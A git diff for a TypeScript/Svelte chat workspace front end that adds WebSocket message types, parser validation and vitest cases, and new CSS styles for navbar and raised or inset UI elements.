@@ -67,22 +112,47 @@ export function createSurfaceSocket(opts: SurfaceSocketOptions): SurfaceSocketHa
if (disposed) return;
const msg = parseServerMessage(ev.data);
if (msg !== null) {
- if (msg.type === "chat.delta" || msg.type === "chat.error") {
- opts.onChat?.(msg as ChatDeltaMessage | ChatErrorMessage);
+ if (
+ msg.type === "chat.accepted" ||
+ msg.type === "chat.subscription-rejected" ||
+ msg.type === "chat.delta" ||
+ msg.type === "chat.error" ||
+ msg.type === "chat.queued" ||
+ msg.type === "chat.resync-required"
+ ) {
+ opts.onChat?.(
+ msg as
+ | ChatAcceptedMessage
+ | ChatSubscriptionRejectedMessage
+ | ChatDeltaMessage
+ | ChatErrorMessage
+ | ChatQueuedMessage
+ | ChatResyncRequiredMessage,
+ );
} else if (msg.type === "conversation.open") {
opts.onConversationOpen?.(msg as ConversationOpenMessage);
} else if (msg.type === "conversation.statusChanged") {
opts.onConversationStatusChanged?.(msg as ConversationStatusChangedMessage);
+ } else if (msg.type === "conversation.tabGroupChanged") {
+ opts.onConversationTabGroupChanged?.(msg as ConversationTabGroupChangedMessage);
} else if (msg.type === "conversation.compacted") {
opts.onConversationCompacted?.(msg as ConversationCompactedMessage);
+ } else if (msg.type === "extensions-changed") {
+ opts.onExtensionsChanged?.(msg as ExtensionsChangedMessage);
+ } else if (msg.type === "layout") {
+ opts.onLayout?.(msg as LayoutChangedMessage);
+ } else if (msg.type === "tile-layout") {
+ opts.onTileLayout?.(msg as TileLayoutChangedMessage);
} else {
opts.onMessage(msg as SurfaceServerMessage);
}
}
};
- socket.onclose = () => {
+ socket.onclose = (ev) => {
+ clearHealthyTimer();
if (disposed) return;
+ if (isOpen && (ev.code === 1000 || ev.code === 1001)) reconnectAttempt = 0;
isOpen = false;
scheduleReconnect();
};
@@ -112,6 +182,7 @@ export function createSurfaceSocket(opts: SurfaceSocketOptions): SurfaceSocketHa
},
close(): void {
disposed = true;
+ clearHealthyTimer();
if (reconnectTimer !== null) {
clearTimeout(reconnectTimer);
reconnectTimer = null;
diff --git a/src/adapters/ws/logic.test.ts b/src/adapters/ws/logic.test.ts
index dd2b773..4bc2aad 100644
--- a/src/adapters/ws/logic.test.ts
+++ b/src/adapters/ws/logic.test.ts
@@ -1,6 +1,13 @@
import { describe, expect, it } from "vitest";
import { nextBackoffMs, parseServerMessage, serialize } from "./logic";
+describe("serialize — workspace.set (plan 06 §6.4)", () => {
+ it("serializes a workspace.set client message", () => {
+ const msg = { type: "workspace.set" as const, workspaceId: "ws-1" };
+ expect(JSON.parse(serialize(msg))).toEqual(msg);
+ });
+});
+
describe("serialize", () => {
it("serializes a subscribe message", () => {
const msg = { type: "subscribe" as const, surfaceId: "s1" };
@@ -232,6 +239,38 @@ describe("parseServerMessage", () => {
});
});
+ it("parses a conversation.open message with a persisted model", () => {
+ const data = JSON.stringify({
+ type: "conversation.open",
+ conversationId: "c1",
+ workspaceId: "w1",
+ model: "openrouter/stealth/ox-alpha",
+ });
+ const result = parseServerMessage(data);
+ expect(result).toEqual({
+ type: "conversation.open",
+ conversationId: "c1",
+ workspaceId: "w1",
+ model: "openrouter/stealth/ox-alpha",
+ });
+ });
+
+ it("omits the model when conversation.open carries a non-string/empty model", () => {
+ const result = parseServerMessage(
+ JSON.stringify({
+ type: "conversation.open",
+ conversationId: "c1",
+ workspaceId: "w1",
+ model: 42,
+ }),
+ );
+ expect(result).toEqual({
+ type: "conversation.open",
+ conversationId: "c1",
+ workspaceId: "w1",
+ });
+ });
+
it("returns null for conversation.open with missing conversationId", () => {
expect(
parseServerMessage(JSON.stringify({ type: "conversation.open", workspaceId: "w1" })),
@@ -398,3 +437,204 @@ describe("nextBackoffMs", () => {
}
});
});
+
+describe("parseServerMessage — extensions-changed (plan 05)", () => {
+ it("parses the broadcast with a pluginId", () => {
+ const result = parseServerMessage(
+ JSON.stringify({ type: "extensions-changed", action: "unload", pluginId: "mcp" }),
+ );
+ expect(result).toEqual({ type: "extensions-changed", action: "unload", pluginId: "mcp" });
+ });
+
+ it("parses a scan broadcast (no pluginId)", () => {
+ const result = parseServerMessage(
+ JSON.stringify({ type: "extensions-changed", action: "scan" }),
+ );
+ expect(result).toEqual({ type: "extensions-changed", action: "scan" });
+ });
+
+ it("rejects an unknown action", () => {
+ expect(
+ parseServerMessage(JSON.stringify({ type: "extensions-changed", action: "explode" })),
+ ).toBeNull();
+ });
+
+ it("rejects a missing action", () => {
+ expect(parseServerMessage(JSON.stringify({ type: "extensions-changed" }))).toBeNull();
+ });
+});
+
+describe("parseServerMessage — layout (plan 02)", () => {
+ const TREE = { version: 1, root: { kind: "leaf", view: "chat" } };
+
+ it("parses the broadcast (workspaceId + full tree)", () => {
+ const result = parseServerMessage(
+ JSON.stringify({ type: "layout", workspaceId: "ws-a", tree: TREE }),
+ );
+ expect(result).toEqual({ type: "layout", workspaceId: "ws-a", tree: TREE });
+ });
+
+ it("rejects a missing/invalid workspaceId", () => {
+ expect(parseServerMessage(JSON.stringify({ type: "layout", tree: TREE }))).toBeNull();
+ expect(
+ parseServerMessage(JSON.stringify({ type: "layout", workspaceId: 7, tree: TREE })),
+ ).toBeNull();
+ });
+
+ it("rejects a missing/invalid tree (wrong version, missing root, non-object)", () => {
+ expect(parseServerMessage(JSON.stringify({ type: "layout", workspaceId: "ws-a" }))).toBeNull();
+ expect(
+ parseServerMessage(
+ JSON.stringify({ type: "layout", workspaceId: "ws-a", tree: { version: 2, root: {} } }),
+ ),
+ ).toBeNull();
+ expect(
+ parseServerMessage(
+ JSON.stringify({ type: "layout", workspaceId: "ws-a", tree: { version: 1 } }),
+ ),
+ ).toBeNull();
+ expect(
+ parseServerMessage(JSON.stringify({ type: "layout", workspaceId: "ws-a", tree: 7 })),
+ ).toBeNull();
+ });
+
+ it("an unknown type still parses to null (the layout addition doesn't loosen the guard)", () => {
+ expect(parseServerMessage(JSON.stringify({ type: "layout.unknown" }))).toBeNull();
+ });
+});
+
+describe("parseServerMessage — subagent tab groups", () => {
+ it("forwards the effective tabGroupParentId on conversation.open", () => {
+ const result = parseServerMessage(
+ JSON.stringify({
+ type: "conversation.open",
+ conversationId: "child",
+ workspaceId: "w1",
+ tabGroupParentId: "parent",
+ }),
+ );
+ expect(result).toEqual({
+ type: "conversation.open",
+ conversationId: "child",
+ workspaceId: "w1",
+ tabGroupParentId: "parent",
+ });
+ });
+
+ it("omits a non-string/empty tabGroupParentId on conversation.open", () => {
+ for (const tabGroupParentId of ["", 42, null]) {
+ const result = parseServerMessage(
+ JSON.stringify({
+ type: "conversation.open",
+ conversationId: "c1",
+ workspaceId: "w1",
+ tabGroupParentId,
+ }),
+ );
+ expect(result).toEqual({
+ type: "conversation.open",
+ conversationId: "c1",
+ workspaceId: "w1",
+ });
+ }
+ });
+
+ it("parses conversation.tabGroupChanged with a parent id and with null (ungrouped)", () => {
+ for (const tabGroupParentId of ["parent", null]) {
+ const msg = {
+ type: "conversation.tabGroupChanged",
+ conversationId: "c1",
+ workspaceId: "w1",
+ tabGroupParentId,
+ };
+ expect(parseServerMessage(JSON.stringify(msg))).toEqual(msg);
+ }
+ });
+
+ it("rejects a malformed conversation.tabGroupChanged", () => {
+ const base = { type: "conversation.tabGroupChanged", conversationId: "c1", workspaceId: "w1" };
+ expect(parseServerMessage(JSON.stringify(base))).toBeNull(); // missing (undefined) parent
+ expect(parseServerMessage(JSON.stringify({ ...base, tabGroupParentId: "" }))).toBeNull();
+ expect(parseServerMessage(JSON.stringify({ ...base, tabGroupParentId: 1 }))).toBeNull();
+ const { workspaceId: _w, ...noWorkspace } = base;
+ expect(
+ parseServerMessage(JSON.stringify({ ...noWorkspace, tabGroupParentId: "p" })),
+ ).toBeNull();
+ });
+});
+
+it("preserves a compaction epoch and rejects absent or invalid epochs", () => {
+ const msg = {
+ type: "conversation.compacted",
+ conversationId: "c",
+ newConversationId: "archive",
+ messagesSummarized: 2,
+ messagesKept: 1,
+ historyEpoch: 7,
+ };
+ expect(parseServerMessage(JSON.stringify(msg))).toEqual(msg);
+ for (const historyEpoch of [undefined, -1, 1.5, "7"]) {
+ expect(parseServerMessage(JSON.stringify({ ...msg, historyEpoch }))).toBeNull();
+ }
+});
+
+describe("chat.queued admission acknowledgement", () => {
+ const ack = {
+ type: "chat.queued",
+ conversationId: "c1",
+ reason: "compaction",
+ messageId: "q1",
+ };
+
+ it.each([undefined, "request-1"])("preserves optional requestId %s", (requestId) => {
+ const msg = { ...ack, ...(requestId !== undefined ? { requestId } : {}) };
+ expect(parseServerMessage(JSON.stringify(msg))).toEqual(msg);
+ });
+
+ it.each([
+ { conversationId: undefined },
+ { conversationId: 12 },
+ { messageId: undefined },
+ { messageId: null },
+ { reason: undefined },
+ { reason: "other" },
+ { requestId: null },
+ { requestId: 12 },
+ ])("rejects malformed acknowledgement %j", (bad) => {
+ expect(parseServerMessage(JSON.stringify({ ...ack, ...bad }))).toBeNull();
+ });
+
+ it("serializes a correlated send", () => {
+ const msg = { type: "chat.send" as const, message: "hello", requestId: "r1" };
+ expect(JSON.parse(serialize(msg))).toEqual(msg);
+ });
+});
+
+describe("chat.resync-required", () => {
+ it.each(["replay-limit", "payload-limit"])("parses %s with optional turn identity", (reason) => {
+ const msg = { type: "chat.resync-required", conversationId: "c1", reason };
+ expect(parseServerMessage(JSON.stringify(msg))).toEqual(msg);
+ expect(parseServerMessage(JSON.stringify({ ...msg, turnId: "t1" }))).toEqual({
+ ...msg,
+ turnId: "t1",
+ });
+ });
+ it.each([
+ {},
+ { conversationId: null },
+ { conversationId: 1 },
+ { reason: "unknown" },
+ { reason: null },
+ { turnId: null },
+ { turnId: 42 },
+ ])("rejects malformed notice %j", (bad) => {
+ const msg = {
+ type: "chat.resync-required",
+ conversationId: "c1",
+ reason: "replay-limit",
+ ...bad,
+ };
+ if (Object.keys(bad).length === 0) delete (msg as { conversationId?: unknown }).conversationId;
+ expect(parseServerMessage(JSON.stringify(msg))).toBeNull();
+ });
+});
diff --git a/src/adapters/ws/logic.ts b/src/adapters/ws/logic.ts
index 03ef763..d167669 100644
--- a/src/adapters/ws/logic.ts
+++ b/src/adapters/ws/logic.ts
@@ -1,9 +1,15 @@
import type {
ChatDeltaMessage,
ChatErrorMessage,
+ ChatQueuedMessage,
+ ChatResyncRequiredMessage,
ConversationCompactedMessage,
ConversationOpenMessage,
ConversationStatusChangedMessage,
+ ConversationTabGroupChangedMessage,
+ ExtensionsChangedMessage,
+ LayoutChangedMessage,
+ TileLayoutChangedMessage,
WsClientMessage,
WsServerMessage,
} from "@dispatch/transport-contract";
@@ -19,11 +25,19 @@ const VALID_SERVER_TYPES = new Set([
"surface",
"update",
"error",
+ "chat.accepted",
+ "chat.subscription-rejected",
"chat.delta",
"chat.error",
+ "chat.queued",
+ "chat.resync-required",
"conversation.open",
"conversation.statusChanged",
"conversation.compacted",
+ "conversation.tabGroupChanged",
+ "extensions-changed",
+ "layout",
+ "tile-layout",
]);
/** Serialize a client message to a JSON string for the wire. */
@@ -97,12 +111,56 @@ export function parseServerMessage(data: string): WsServerMessage | null {
: { type: "error", message: parsed.message };
return msg;
}
+ case "chat.accepted": {
+ if (typeof parsed.conversationId !== "string" || typeof parsed.requestId !== "string")
+ return null;
+ return {
+ type: "chat.accepted",
+ conversationId: parsed.conversationId,
+ requestId: parsed.requestId,
+ };
+ }
+ case "chat.subscription-rejected": {
+ if (typeof parsed.conversationId !== "string" || parsed.reason !== "subscription-limit")
+ return null;
+ return {
+ type: "chat.subscription-rejected",
+ conversationId: parsed.conversationId,
+ reason: parsed.reason,
+ };
+ }
case "chat.delta": {
const event = parsed.event;
if (!isRecord(event)) return null;
if (typeof event.type !== "string") return null;
return { type: "chat.delta", event: event as unknown as ChatDeltaMessage["event"] };
}
+ case "chat.resync-required": {
+ if (typeof parsed.conversationId !== "string") return null;
+ if (parsed.turnId !== undefined && typeof parsed.turnId !== "string") return null;
+ if (parsed.reason !== "replay-limit" && parsed.reason !== "payload-limit") return null;
+ const msg: ChatResyncRequiredMessage = {
+ type: "chat.resync-required",
+ conversationId: parsed.conversationId,
+ reason: parsed.reason,
+ ...(parsed.turnId !== undefined ? { turnId: parsed.turnId } : {}),
+ };
+ return msg;
+ }
+ case "chat.queued": {
+ if (typeof parsed.conversationId !== "string") return null;
+ if (typeof parsed.messageId !== "string") return null;
+ if (parsed.reason !== "compaction") return null;
+ if (parsed.requestId !== undefined && typeof parsed.requestId !== "string") return null;
+ const msg: ChatQueuedMessage = {
+ type: "chat.queued",
+ conversationId: parsed.conversationId,
+ messageId: parsed.messageId,
+ reason: "compaction",
+ ...(parsed.requestId !== undefined ? { requestId: parsed.requestId } : {}),
+ };
+ return msg;
+ }
case "chat.error": {
if (typeof parsed.message !== "string") return null;
const conversationId = parsed.conversationId;
@@ -111,15 +169,43 @@ export function parseServerMessage(data: string): WsServerMessage | null {
conversationId !== undefined
? { type: "chat.error", conversationId, message: parsed.message }
: { type: "chat.error", message: parsed.message };
- return msg;
+ if (parsed.requestId !== undefined && typeof parsed.requestId !== "string") return null;
+ return {
+ ...msg,
+ ...(typeof parsed.requestId === "string" ? { requestId: parsed.requestId } : {}),
+ };
}
case "conversation.open": {
if (typeof parsed.conversationId !== "string") return null;
if (typeof parsed.workspaceId !== "string") return null;
+ // Forward the persisted per-conversation model when the backend includes
+ // it, so a client can stamp the opened tab with the conversation's ACTUAL
+ // model (fix-toolcall-duplicate-keys plan Part 4).
+ const model = parsed.model;
+ // The EFFECTIVE tab group parent, so a summoned subagent's tab lands in
+ // its summoner's group immediately.
+ const tabGroupParentId = parsed.tabGroupParentId;
const msg: ConversationOpenMessage = {
type: "conversation.open",
conversationId: parsed.conversationId,
workspaceId: parsed.workspaceId,
+ ...(typeof model === "string" && model.length > 0 ? { model } : {}),
+ ...(typeof tabGroupParentId === "string" && tabGroupParentId.length > 0
+ ? { tabGroupParentId }
+ : {}),
+ };
+ return msg;
+ }
+ case "conversation.tabGroupChanged": {
+ if (typeof parsed.conversationId !== "string") return null;
+ if (typeof parsed.workspaceId !== "string") return null;
+ const parent = parsed.tabGroupParentId;
+ if (parent !== null && (typeof parent !== "string" || parent.length === 0)) return null;
+ const msg: ConversationTabGroupChangedMessage = {
+ type: "conversation.tabGroupChanged",
+ conversationId: parsed.conversationId,
+ workspaceId: parsed.workspaceId,
+ tabGroupParentId: parent,
};
return msg;
}
@@ -148,7 +234,10 @@ export function parseServerMessage(data: string): WsServerMessage | null {
if (typeof parsed.newConversationId !== "string") return null;
if (typeof parsed.messagesSummarized !== "number") return null;
if (typeof parsed.messagesKept !== "number") return null;
+ if (!Number.isSafeInteger(parsed.historyEpoch) || (parsed.historyEpoch as number) < 0)
+ return null;
const msg: ConversationCompactedMessage = {
+ historyEpoch: parsed.historyEpoch as number,
type: "conversation.compacted",
conversationId: parsed.conversationId,
newConversationId: parsed.newConversationId,
@@ -157,6 +246,63 @@ export function parseServerMessage(data: string): WsServerMessage | null {
};
return msg;
}
+ case "extensions-changed": {
+ // Plugin-manager broadcast (plan 05): the payload is intentionally
+ // minimal — clients refetch GET /plugins + the (server re-pushed)
+ // surface catalog rather than diffing here.
+ const action = parsed.action;
+ if (action !== "load" && action !== "unload" && action !== "reload") {
+ if (action !== "scan" && action !== "forget") return null;
+ }
+ const pluginId = parsed.pluginId;
+ const msg: ExtensionsChangedMessage = {
+ type: "extensions-changed",
+ action,
+ ...(pluginId !== undefined && typeof pluginId === "string" ? { pluginId } : {}),
+ };
+ return msg;
+ }
+ case "layout": {
+ // Layout-provider broadcast (plan 02 §2.5): the FULL tree for ONE
+ // workspace (decision 7 — no patch protocol). Light shape checks here
+ // (the tree's structural validation is the backend's write-time job);
+ // the store filters by its active workspace.
+ if (typeof parsed.workspaceId !== "string") return null;
+ const tree = parsed.tree;
+ if (
+ tree === null ||
+ typeof tree !== "object" ||
+ Array.isArray(tree) ||
+ (tree as { version?: unknown }).version !== 1 ||
+ typeof (tree as { root?: unknown }).root !== "object" ||
+ (tree as { root?: unknown }).root === null
+ ) {
+ return null;
+ }
+ const msg: LayoutChangedMessage = {
+ type: "layout",
+ workspaceId: parsed.workspaceId,
+ tree: tree as LayoutChangedMessage["tree"],
+ };
+ return msg;
+ }
+ case "tile-layout": {
+ // Home tile-layout broadcast (the synced home grid): the FULL document
+ // for ONE device orientation. Light shape checks here (the document's
+ // structural validation is the backend's write-time job); the store
+ // filters by its active geometry mode.
+ if (parsed.mode !== "wide" && parsed.mode !== "tall") return null;
+ const data = parsed.data;
+ if (data === null || !isRecord(data) || data.version !== 2 || !Array.isArray(data.tiles)) {
+ return null;
+ }
+ const msg: TileLayoutChangedMessage = {
+ type: "tile-layout",
+ mode: parsed.mode,
+ data: data as unknown as TileLayoutChangedMessage["data"],
+ };
+ return msg;
+ }
default:
return null;
}
diff --git a/src/app.css b/src/app.css
index f5b269c..3c7b17c 100644
--- a/src/app.css
+++ b/src/app.css
@@ -12,6 +12,237 @@
themes: monokai --default;
}
+/* Inset "well" — the Artix wiki's code blocks (darkstrap `pre`): a panel that
+ reads as pressed INTO the page — the page colour darkened, a dark inner
+ shadow under the top edge, a faint light catch-line under the bottom edge.
+ Shared by the chat's thinking/tool blocks (LazyCollapse) and the sidebar
+ views (TilePanels). darkstrap: background rgba(0,0,0,.3); box-shadow
+ rgba(255,255,255,.1) 0 1px 0, rgba(0,0,0,.8) 0 1px 7px 0 inset; radius 4px.
+ Ported onto the active daisyUI theme so it always matches, and toned down a
+ step: the fill is the theme's page colour (base-100 — both the chat and the
+ sidebar sit on it) darkened 18% (darkstrap: 30%), computed OPAQUE and exposed
+ as --inset-well-bg so sticky children can paint the same colour; the inner
+ shadow is 0.6 (darkstrap: 0.8); the catch-line is the theme's text colour at
+ 10% instead of plain white. In @layer components so utilities can override. */
+@layer components {
+ .inset-well {
+ --inset-well-bg: color-mix(in srgb, var(--color-base-100) 82%, black);
+ background-color: var(--inset-well-bg);
+ border: 0;
+ border-radius: var(--radius-box);
+ box-shadow:
+ 0 1px 0 color-mix(in srgb, var(--color-base-content) 10%, transparent),
+ inset 0 1px 7px 0 rgb(0 0 0 / 0.6);
+ }
+}
+
+/* App navbar — the Artix wiki's navbar (darkstrap `.navbar-inner` on a
+ fixed-top bar): a top-to-bottom gradient (#444 → #222), a soft drop shadow
+ under the bar (0 1px 10px), and engraved text (1px black text-shadow).
+ Shared by the workspace top bar (App) and the home page header. Ported onto
+ the active daisyUI theme so it always matches. darkstrap's bar is LIGHTER
+ than its near-black page (that's what makes the shadow read), so the
+ gradient is shifted to keep that relationship on our lighter page: it runs
+ from the page colour (base-100) lifted 20% toward the text colour down to
+ base-100 lifted 3%. No bottom border (darkstrap has a 1px #030303 one —
+ removed by user request; the gradient + shadow carry the edge). The shadow
+ is 0.5 (darkstrap: 0.1 — invisible on our lighter page). Positioned +
+ z-indexed so the shadow paints over the content below. */
+@layer components {
+ .app-navbar {
+ position: relative;
+ z-index: 10;
+ flex-shrink: 0;
+ background-image: linear-gradient(
+ to bottom,
+ color-mix(in srgb, var(--color-base-100) 80%, var(--color-base-content)),
+ color-mix(in srgb, var(--color-base-100) 97%, var(--color-base-content))
+ );
+ box-shadow: 0 1px 10px rgb(0 0 0 / 0.5);
+ }
+ /* Engraved navbar text — titles only; on tiny faint labels it muddies. */
+ .app-navbar-engraved {
+ text-shadow: 0 1px 0 black;
+ }
+}
+
+/* Navbar buttons — the navbar's (`.app-navbar`) raised button, in the
+ same depth language as the rest of the UI: at rest they're RAISED (a
+ gradient a step lighter than the bar, a light highlight inside the top edge,
+ a thin dark edge + small drop below, light primary-blue text), and when
+ PRESSED they flip to the inset well (dark inner shadow) — pushed into the
+ bar. `.navbar-btn-primary` is the main action: the same button, tinted with
+ the theme's primary colour. `.navbar-btn-icon` is the square icon-only form.
+ Self-contained (not DaisyUI .btn) so nothing fights the gradients; colours
+ all come from the theme. */
+@layer components {
+ .navbar-btn {
+ display: inline-flex;
+ align-items: center;
+ justify-content: center;
+ gap: 0.375rem;
+ height: 2rem;
+ padding-inline: 0.75rem;
+ border-radius: var(--radius-field);
+ font-size: 0.875rem;
+ font-weight: 600;
+ line-height: 1;
+ white-space: nowrap;
+ cursor: pointer;
+ user-select: none;
+ /* The theme's primary, lifted toward white: crisp on the grey gradient
+ (plain primary read dim, and an engraved text-shadow muddied it at this
+ size — the shadow stays on the big titles only). */
+ color: color-mix(in srgb, var(--color-primary) 75%, white);
+ border: 1px solid rgb(0 0 0 / 0.55);
+ background-image: linear-gradient(
+ to bottom,
+ color-mix(in srgb, var(--color-base-100) 72%, var(--color-base-content)),
+ color-mix(in srgb, var(--color-base-100) 90%, var(--color-base-content))
+ );
+ box-shadow:
+ inset 0 1px 0 rgb(255 255 255 / 0.12),
+ 0 1px 2px rgb(0 0 0 / 0.45);
+ transition:
+ filter 120ms ease-out,
+ box-shadow 120ms ease-out;
+ }
+ .navbar-btn:hover {
+ filter: brightness(1.12);
+ }
+ .navbar-btn:active,
+ .navbar-btn[aria-expanded="true"] {
+ /* Pressed → the inset well: pushed into the bar. */
+ filter: none;
+ background-image: none;
+ background-color: color-mix(in srgb, var(--color-base-100) 82%, black);
+ box-shadow:
+ inset 0 1px 5px rgb(0 0 0 / 0.7),
+ 0 1px 0 color-mix(in srgb, var(--color-base-content) 10%, transparent);
+ }
+ .navbar-btn:focus-visible {
+ outline: 2px solid var(--color-primary);
+ outline-offset: 2px;
+ }
+ .navbar-btn-icon {
+ width: 2rem;
+ padding-inline: 0;
+ }
+ /* Secondary navbar actions: visually just text — no background, border or
+ shadow. The light primary-blue colour (same as the buttons' text) and the
+ spacing mark them as clickable; hover brightens + underlines, press dims. */
+ .navbar-link {
+ display: inline-flex;
+ align-items: center;
+ justify-content: center;
+ gap: 0.375rem;
+ height: 2rem;
+ min-width: 2rem; /* icon-only (compact) links keep a comfortable tap target */
+ padding-inline: 0.375rem;
+ border-radius: var(--radius-field);
+ font-size: 0.875rem;
+ font-weight: 600;
+ line-height: 1;
+ white-space: nowrap;
+ cursor: pointer;
+ user-select: none;
+ background: none;
+ border: 0;
+ color: color-mix(in srgb, var(--color-primary) 75%, white);
+ text-underline-offset: 4px;
+ transition: color 120ms ease-out;
+ }
+ .navbar-link:hover {
+ color: color-mix(in srgb, var(--color-primary) 45%, white);
+ text-decoration: underline;
+ }
+ .navbar-link:active {
+ color: var(--color-primary);
+ }
+ .navbar-link:focus-visible {
+ outline: 2px solid var(--color-primary);
+ outline-offset: 2px;
+ }
+ .navbar-btn-primary {
+ color: var(--color-primary-content);
+ background-image: linear-gradient(
+ to bottom,
+ color-mix(in srgb, var(--color-primary) 82%, white),
+ color-mix(in srgb, var(--color-primary) 88%, black)
+ );
+ box-shadow:
+ inset 0 1px 0 rgb(255 255 255 / 0.35),
+ 0 1px 2px rgb(0 0 0 / 0.45);
+ }
+ .navbar-btn-primary:active {
+ background-color: color-mix(in srgb, var(--color-primary) 80%, black);
+ }
+}
+
+/* Raised button — the exact mirror of `.inset-well`, for a neutral surface
+ that pops OUT where the wells sink in (the sidebar's "+ Add view" under the
+ view wells). The well = page colour darkened 18%, dark shadow INSIDE under
+ the top edge (inset 0 1px 7px), light catch-line OUTSIDE below (0 1px 0).
+ Mirrored: page colour LIFTED toward the text colour, light highlight INSIDE
+ the top edge (inset 0 1px 0), the dark shadow OUTSIDE below (0 1px 7px),
+ plus a faint top-lit gradient. Pressed → it becomes the well (pushed in). */
+@layer components {
+ .raised-btn {
+ display: flex;
+ align-items: center;
+ justify-content: center;
+ border: 0;
+ border-radius: var(--radius-box);
+ cursor: pointer;
+ color: color-mix(in srgb, var(--color-primary) 75%, white);
+ background-color: color-mix(in srgb, var(--color-base-100) 90%, var(--color-base-content));
+ background-image: linear-gradient(to bottom, rgb(255 255 255 / 0.06), rgb(0 0 0 / 0.1));
+ box-shadow:
+ inset 0 1px 0 color-mix(in srgb, var(--color-base-content) 18%, transparent),
+ 0 1px 7px 0 rgb(0 0 0 / 0.6);
+ transition:
+ filter 120ms ease-out,
+ box-shadow 120ms ease-out;
+ }
+ .raised-btn:hover {
+ filter: brightness(1.12);
+ }
+ .raised-btn:active {
+ filter: none;
+ background-image: none;
+ background-color: color-mix(in srgb, var(--color-base-100) 82%, black);
+ box-shadow:
+ 0 1px 0 color-mix(in srgb, var(--color-base-content) 10%, transparent),
+ inset 0 1px 7px 0 rgb(0 0 0 / 0.6);
+ }
+ .raised-btn:focus-visible {
+ outline: 2px solid var(--color-primary);
+ outline-offset: 2px;
+ }
+}
+
+/* Raised — the INVERSE of `.inset-well`, for things that pop OUT of the page
+ (the home page's workspace tiles). Where the well has a dark shadow INSIDE
+ under its top edge and a light catch-line OUTSIDE below it, a raised surface
+ has a light highlight INSIDE along its top edge, a soft shadow OUTSIDE below
+ it, and a faint top-lit gradient over its own colour (lighter top → darker
+ bottom — convex, where the well is concave). Built on Tailwind's shadow
+ variables (not a bare box-shadow) so it COMPOSES with the ring / shadow
+ utilities: the inner highlight rides --tw-inset-shadow (kept by
+ `hover:shadow-xl`, rings, drag), the drop rides --tw-shadow (which
+ `hover:shadow-xl` / `shadow-2xl` swap for a bigger lift). Works on any
+ background colour (the tiles' tone colours), so it always matches the theme. */
+@layer components {
+ .raised {
+ --tw-inset-shadow: inset 0 1px 0 rgb(255 255 255 / 0.45), inset 0 -1px 0 rgb(0 0 0 / 0.25);
+ --tw-shadow: 0 2px 9px 0 rgb(0 0 0 / 0.7);
+ box-shadow:
+ var(--tw-inset-shadow), var(--tw-inset-ring-shadow, 0 0 #0000),
+ var(--tw-ring-offset-shadow, 0 0 #0000), var(--tw-ring-shadow, 0 0 #0000), var(--tw-shadow);
+ background-image: linear-gradient(to bottom, rgb(255 255 255 / 0.14), rgb(0 0 0 / 0.14));
+ }
+}
+
/* Rendered-Markdown (assistant messages) typography — scoped to .markdown-body
so it never leaks into the rest of the app. */
.markdown-body {
@@ -127,3 +358,28 @@ body,
body {
overflow: hidden;
}
+
+/* App-shell height. NOT `h-screen` (100vh): on iOS/iPadOS WebKit (Safari,
+ Vivaldi, …) 100vh is the viewport with the browser toolbars RETRACTED, so
+ while they're showing the bottom of the app sits underneath them (the
+ sidebar's last item / the composer looked flush against the bottom edge).
+ 100dvh tracks the visible viewport as the toolbars show/hide; 100vh stays as
+ the fallback for engines without dvh. */
+.h-app {
+ height: 100vh;
+}
+@supports (height: 100dvh) {
+ .h-app {
+ height: 100dvh;
+ }
+}
+
+/* Transcript rows: skip layout + paint for rows scrolled out of view. A long
+ turn has hundreds of rows; without this every one is laid out on first
+ paint (and on every resize). `contain-intrinsic-size: auto <h>` makes the
+ browser remember each row's last rendered height, so scrolling back up
+ doesn't jump; the 64px is only the estimate for never-rendered rows. */
+.chat-row {
+ content-visibility: auto;
+ contain-intrinsic-size: auto 64px;
+}
diff --git a/src/app/App.svelte b/src/app/App.svelte
index 7e5ac7d..d557149 100644
--- a/src/app/App.svelte
+++ b/src/app/App.svelte
@@ -1,847 +1,222 @@
-<script lang="ts">
- import type { ImageInput, ReasoningEffort } from "@dispatch/transport-contract";
- import type { InvokeMessage } from "@dispatch/ui-contract";
- import { tick } from "svelte";
- import Table from "../components/Table.svelte";
- import {
- CacheWarmingView,
- manifest as cacheWarmingManifest,
- type WarmFeedback,
- } from "../features/cache-warming";
- import {
- ChatView,
- CompactionView,
- Composer,
- manifest as chatManifest,
- ModelSelector,
- ReasoningEffortSelector,
- type CompactNowResult,
- type ComposerStatus,
- type ReasoningEffortSaveResult,
- type SaveCompactPercentResult,
- } from "../features/chat";
- import { manifest as conversationCacheManifest } from "../features/conversation-cache";
- import { manifest as markdownManifest } from "../features/markdown";
- import {
- McpStatusView,
- manifest as mcpManifest,
- type McpStatusResult,
- } from "../features/mcp";
- import {
- ChatLimitField,
- manifest as settingsManifest,
- type ChatLimitSaveResult,
- } from "../features/settings";
- import {
- createSmartScrollController,
- manifest as smartScrollManifest,
- ScrollToBottom,
- } from "../features/smart-scroll";
- import { manifest as surfaceHostManifest, SurfaceView } from "../features/surface-host";
- import { parseMessageQueuePayload } from "../features/surface-host/logic/message-queue";
- import { parseTodoPayload } from "../features/surface-host/logic/todo";
- import TodoList from "../features/surface-host/ui/TodoList.svelte";
- import { manifest as tabsManifest, TabList } from "../features/tabs";
- import { manifest as viewsManifest, ViewSidebar } from "../features/views";
- import {
- CwdField,
- type CwdSaveResult,
- LspStatusView,
- type LspStatusResult,
- manifest as cwdLspManifest,
- } from "../features/cwd-lsp";
- import {
- ComputerField,
- manifest as computerManifest,
- type ComputerSaveResult,
- type ComputerStatusResult,
- type LoadComputerStatus,
- type SaveComputer,
- type TestComputer,
- type TestComputerResult,
- } from "../features/computer";
- import {
- HeartbeatView,
- manifest as heartbeatManifest,
- RunModal,
- type HeartbeatConfigResult,
- type HeartbeatNextRunResult,
- type HeartbeatRunView,
- type HeartbeatRunsResult,
- type HeartbeatStopResult,
- } from "../features/heartbeat";
- import {
- ConcurrencyView,
- manifest as concurrencyManifest,
- type DeleteConcurrencyLimit,
- type LoadConcurrencyLimits,
- type LoadConcurrencyStatus,
- type SaveConcurrencyCooldown,
- type SaveConcurrencyLimit,
- } from "../features/concurrency";
- import type { ChatStore } from "../features/chat";
- import {
- SystemPromptBuilder,
- type LoadSystemPrompt as LoadSystemPromptAlias,
- type LoadSystemPromptVariables as LoadSystemPromptVariablesAlias,
- type SaveSystemPrompt as SaveSystemPromptAlias,
- manifest as systemPromptManifest,
- } from "../features/system-prompt";
- import {
- VisionSettingsView,
- manifest as visionManifest,
- type LoadVisionSettingsResult,
- type SaveVisionSettingsResult,
- type VisionSettingsPatch,
- } from "../features/vision";
- import type { AppStore } from "./store.svelte";
- import ErrorModal from "./ErrorModal.svelte";
